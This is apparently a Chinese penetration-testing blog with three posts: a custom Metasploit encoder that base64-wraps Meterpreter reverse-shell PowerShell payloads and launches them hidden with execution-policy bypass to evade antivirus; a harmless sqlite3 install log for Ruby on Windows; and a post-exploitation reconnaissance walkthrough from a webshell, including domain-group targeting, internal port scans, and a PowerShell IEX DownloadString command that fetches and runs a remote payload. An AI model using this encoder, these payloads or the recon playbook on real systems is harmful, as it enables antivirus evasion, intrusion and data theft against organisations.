2018年4月27日星期五

关于Powershell对抗安全软件

       Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。
      Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
      在https://technet.microsoft.com,看到文档如下:
Here is a listing of the available startup parameters: 
 
-Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. 
 
-EncodedCommand Specifies the base64-encoded command text to execute. 
 
-ExecutionPolicy Sets the default execution policy for the console session. 
 
-File Sets the name of a script fi le to execute. 
 
-InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. 
 
-NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe). 
 
-NoLogo Starts the PowerShell console without displaying the copyright banner. 
 
-Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. 
 
-NoProfile Tells the PowerShell console not to load the current user’s profile. 
 
-OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. 
 
-PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. 
 
-Sta Starts PowerShell in single-threaded mode. 
 
-Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0. 
 
-WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal. 


针对它的特性,本地测试:
1
Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')




上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。

micropoor.ps1不幸被杀。

针对powershell特性,更改payload


接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:
(1)目标机出网
(2)目标机不出网

并且根据需求,无缝连接Metasploit。

根据微软文档,可以找到可能对以上有帮助的属性,分别为:
WindowStyle
NoExit
EncodedCommand
exec

自动化实现如下:

#       copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
#       E.g 
#       msf encoder(powershell/base64) > use exploit/multi/handler 
#       msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
#       payload => windows/x64/meterpreter/reverse_tcp
#       msf exploit(multi/handler) > exploit 
 
#       msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
 
#       [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
 
class MetasploitModule < Msf::Encoder
  Rank = NormalRanking
 
  def initialize
    super(
      'Name'             => 'Powershell Base64 Encoder',
      'Description'      => %q{
        msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
      },
      'Author'           => 'Micropoor',
      'Arch'             => ARCH_CMD,
      'Platform'         => 'win')
 
    register_options([
      OptBool.new('payload', [ false'Use payload 'false ]),
      OptBool.new('x64', [ false'Use syswow64 powershell'false ])
    ])
 
  end
 
  def encode_block(state, buf)
    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
    cmd = ''
    if datastore['x64']
      cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
    else
      cmd += 'powershell.exe '
    end
    if datastore['payload']
      cmd += '-windowstyle hidden -exec bypass -NoExit '
    end
    cmd += "-EncodedCommand #{base64}"
  end
end
 
 
# if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.



copy powershell_base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.


参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。

例1(目标出网,下载执行):

echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows



例2(目标不出网,本地执行)



注:加payload参数
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload

更多有趣的实验:

把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。

更改Invoke-Mimikatz.ps1等。



tks
https://technet.microsoft.com/en-us/library/ff629472.aspx
https://github.com/danielbohannon/Invoke-Obfuscation

2018年4月15日星期日

ruby install sqlite3 on windows 7

ruby -v
ruby 2.5.1p57 (2018-03-29 revision 63029) [x64-mingw32]

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>ruby setup.rb
config
---> lib
---> lib/sqlite3
---> lib/sqlite3/2.0
<--- lib/sqlite3/2.0
---> lib/sqlite3/2.1
<--- lib/sqlite3/2.1
---> lib/sqlite3/2.2
<--- lib/sqlite3/2.2
---> lib/sqlite3/2.3
<--- lib/sqlite3/2.3
---> lib/sqlite3/2.4
<--- lib/sqlite3/2.4
<--- lib/sqlite3
<--- lib
---> ext
---> ext/sqlite3
C:/Ruby25-x64/bin/ruby C:/Ruby25-x64/lib/ruby/gems/2.5.0/gems/sqlite3-1.3.13-x64
-mingw32/ext/sqlite3/extconf.rb
checking for sqlite3.h... yes
checking for pthread_create() in -lpthread... yes
checking for sqlite3_libversion_number() in -lsqlite3... yes
checking for rb_proc_arity()... yes
checking for rb_integer_pack()... yes
checking for sqlite3_initialize()... yes
checking for sqlite3_backup_init()... yes
checking for sqlite3_column_database_name()... yes
checking for sqlite3_enable_load_extension()... yes
checking for sqlite3_load_extension()... yes
checking for sqlite3_open_v2()... yes
checking for sqlite3_prepare_v2()... yes
checking for sqlite3_int64 in sqlite3.h... yes
checking for sqlite3_uint64 in sqlite3.h... yes
creating Makefile
<--- ext/sqlite3
<--- ext

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>ruby setup.rb
setup
---> lib
---> lib/sqlite3
---> lib/sqlite3/2.0
<--- lib/sqlite3/2.0
---> lib/sqlite3/2.1
<--- lib/sqlite3/2.1
---> lib/sqlite3/2.2
<--- lib/sqlite3/2.2
---> lib/sqlite3/2.3
<--- lib/sqlite3/2.3
---> lib/sqlite3/2.4
<--- lib/sqlite3/2.4
<--- lib/sqlite3
<--- lib
---> ext
---> ext/sqlite3
make
generating sqlite3_native-x64-mingw32.def
compiling backup.c
compiling database.c
compiling exception.c
compiling sqlite3.c
compiling statement.c
linking shared-object sqlite3/sqlite3_native.so
<--- ext/sqlite3
<--- ext

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>ruby setup.rb
 install
---> lib
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/
install sqlite3.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/
---> lib/sqlite3
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install constants.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install database.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install errors.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install pragmas.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install resultset.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install statement.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install translator.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install value.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
install version.rb C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3
---> lib/sqlite3/2.0
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.0
<--- lib/sqlite3/2.0
---> lib/sqlite3/2.1
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.1
<--- lib/sqlite3/2.1
---> lib/sqlite3/2.2
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.2
<--- lib/sqlite3/2.2
---> lib/sqlite3/2.3
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.3
<--- lib/sqlite3/2.3
---> lib/sqlite3/2.4
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/sqlite3/2.4
<--- lib/sqlite3/2.4
<--- lib/sqlite3
<--- lib
---> ext
---> ext/sqlite3
mkdir -p C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/x64-msvcrt/sqlite3
install sqlite3_native.so C:/Ruby25-x64/lib/ruby/site_ruby/2.5.0/x64-msvcrt/sqli
te3
<--- ext/sqlite3
<--- ext

C:\Ruby25-x64\lib\ruby\gems\2.5.0\gems\sqlite3-1.3.13-x64-mingw32>irb
irb(main):001:0> require "sqlite3"
=> true

2018年3月1日星期四

渗透的本质是信息搜集(第一季)

目标资产信息搜集的程度,决定渗透过程的复杂程度。
目标主机信息搜集的深度,决定后渗透权限持续把控。
渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
----Micropoor
文章将连载,从几方面论证,渗透的本质是信息搜集。
一次完整的网络渗透,不仅仅是与目标管理人员的权限争夺,一次完整的网络渗透,它分为两大块,技术业务信息分析业务
技术业务要辅助并且要为信息分析业务提供强大的支撑与保证。同时信息分析业务要为技术业务提供关键的目标信息分析逻辑关系与渗透方向
案例如下:(非root/administrator下主动信息搜集)(有马赛克)
在得到一个webshell时,非root/administrator情况下对目标信息搜集至关重要,它会影响后期的渗透是否顺利,以及渗透方向。
目标主机分配了2个内网IP,分别为10.0.0.X与192.168.100.X
得知部分服务软件,以及杀毒软件 NOD32,一般内网中为杀毒为集体一致。
搜集补丁更新频率,以及系统 状况
搜集安装软件以及版本,路径等。
域中用户如下。并且当前权限为 iis apppool\xxxx
正如上面所说,技术业务需要辅助分析业务。在域组中,其中有几个组需要特别关注,在一般的大型内网渗透中,需要关注大致几个组
(1)IT组/研发组 他们掌握在大量的内网密码,数据库密码等。
(2)秘书组 他们掌握着大量的目标机构的内部传达文件,为信息分析业务提供信息,在反馈给技术业务来确定渗透方向
(3)domain admins组 root/administrator
(4)财务组 他们掌握着大量的资金往来与目标企业的规划发展,并且可以通过资金,来判断出目标组织的整体架构
(5)CXX组 ceo cto coo等,不同的目标组织名字不同,如部长,厂长,经理等。
以研发中心为例:研发中心共计4人。
并且开始规划信息刺探等级:
等级1确定某部门具体人员数量 如研发中心4人
等级2:确定该部门的英文用户名的具体信息,如姓名,联系方式,邮箱,职务等。以便确定下一步攻击方向
等级3:分别刺探白天/夜间 内网中所存活机器并且对应IP地址
等级4:对应人员的工作机内网IP,以及工作时间
等级5:根据信息业务反馈,制定目标安全时间,以便拖拽指定人员文件,或登录目标机器
等级6:制定目标机器后渗透与持续渗透的方式以及后门

刺探等级1
刺探等级2

在 net user /domain 后得到域中用户,但需要在非root/administrator权限下得到更多的信息来给信息分析业务提供数据,并确定攻击方向。

在案例中针对nod32,采用powershell payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xx -f psh-reflection >xx.ps1
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost xxx.xxx.xxx.xxx
lhost => xxx.xxx.xxx.xxx
msf exploit(handler) > set lport xxx
lport => xxx
msf > run

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/xxx.ps1');"
注意区分目标及系统是32位还是64位。





接下来将会用 IIS APPPOOL\XXXX 的权限来搜集更多有趣的信息


某数据库配置 for mssql


白天测试段10.0.0.x段在线主机 for windows (部分)
10.0.0.x 段信息刺探:
IP 1-50 open 3389 (部分)
[+] 10.0.0.2: - 10.0.0.2:3389 - TCP OPEN
[+] 10.0.0.3: - 10.0.0.3:3389 - TCP OPEN
[+] 10.0.0.5: - 10.0.0.5:3389 - TCP OPEN
[+] 10.0.0.7: - 10.0.0.7:3389 - TCP OPEN
[+] 10.0.0.9: - 10.0.0.9:3389 - TCP OPEN
[+] 10.0.0.12: - 10.0.0.12:3389 - TCP OPEN
[+] 10.0.0.13: - 10.0.0.13:3389 - TCP OPEN
[+] 10.0.0.14: - 10.0.0.14:3389 - TCP OPEN
[+] 10.0.0.26: - 10.0.0.26:3389 - TCP OPEN
[+] 10.0.0.28: - 10.0.0.28:3389 - TCP OPEN
[+] 10.0.0.32: - 10.0.0.32:3389 - TCP OPEN

IP 1-255 open 22,25 (部分)

[+] 10.0.0.3: - 10.0.0.3:25 - TCP OPEN
[+] 10.0.0.5: - 10.0.0.5:25 - TCP OPEN
[+] 10.0.0.14: - 10.0.0.14:25 - TCP OPEN
[+] 10.0.0.15: - 10.0.0.15:22 - TCP OPEN
[+] 10.0.0.16: - 10.0.0.16:22 - TCP OPEN
[+] 10.0.0.17: - 10.0.0.17:22 - TCP OPEN
[+] 10.0.0.20: - 10.0.0.20:22 - TCP OPEN
[+] 10.0.0.21: - 10.0.0.21:22 - TCP OPEN
[+] 10.0.0.31: - 10.0.0.31:22 - TCP OPEN
[+] 10.0.0.38: - 10.0.0.38:22 - TCP OPEN
[+] 10.0.0.40: - 10.0.0.40:22 - TCP OPEN
[+] 10.0.0.99: - 10.0.0.99:22 - TCP OPEN
[+] 10.0.0.251: - 10.0.0.251:22 - TCP OPEN
[+] 10.0.0.254: - 10.0.0.254:22 - TCP OPEN

IP 1-255 smtp for version (部分)

msf auxiliary(smtp_version) > run

[+] 10.0.0.3:25 - 10.0.0.3:25 SMTP 220 xxxxxxxxxxxxxxxxx MAIL Service, Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:28:44 +0800 \x0d\x0a
[+] 10.0.0.5:25 - 10.0.0.5:25 SMTP 220 xxxxxxxxxxxxxxxxx Microsoft ESMTP MAIL Service, Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:29:05 +0800 \x0d\x0a
[+] 10.0.0.14:25 - 10.0.0.14:25 SMTP 220 xxxxxxxxxxxxxxxxxt ESMTP MAIL Service, Version: 7.0.6002.18264 ready at Wed, 14 Feb 2018 18:30:32 +0800 \x0d\x0a

在iis apppool\xxxx的权限下,目前得知该目标内网分配段,安装软件,杀毒,端口,服务,补丁更新频率,管理员上线操作时间段,数据库配置信息,域用户详细信息(英文user对应的职务,姓名等),以上数据等待信息分析业务,来确定攻击方向。如财务组,如cxx组等。并且完成了刺探等级1-4

而在以上的信息搜集过程中,提权不在是我考虑的问题了,可以Filezilla server 提权,mssqsl数据库提权,win03 提权,win2000提权,win08提权,iis.x提权,内网映射提权 等。而现在需要做的是如何反制被发现来制定目标业务后门,以便长期控制。

下一季的连载,将会从三方面来讲述大型内网的信息刺探,既有0day的admin权限下刺探,无提权下的guest/users权限下刺探。数据库下的权限刺探。域权限延伸到办公PC机的信息刺探。以及只有路由权限下的信息刺探。原来在渗透过程中,提权是次要的,信息刺探才是渗透的本质。

文章的结尾处按照前几季的风格,依然插入一个段子,一个真实的段子:
某大佬:你给我要exp,我什么exp都有吗?提权都靠exp吗?那别做了。
30分钟后…
某大佬:恩,权限拿下来了。
我:我操,怎么提的,X哥。
某大佬:它的数据库配置文件密码,跟ftp密码组合碰撞。root了
某大佬:不是每个提权都靠exp,好不容易打点个,没exp,难道就不做了。提权的本质是信息搜集,搜集目标的补丁情况,第三方等一切可能利用的。
从那以后,我对提权只有4个字:信息搜集。
同样今天变成老家伙的我,也希望把这条经验传递下去。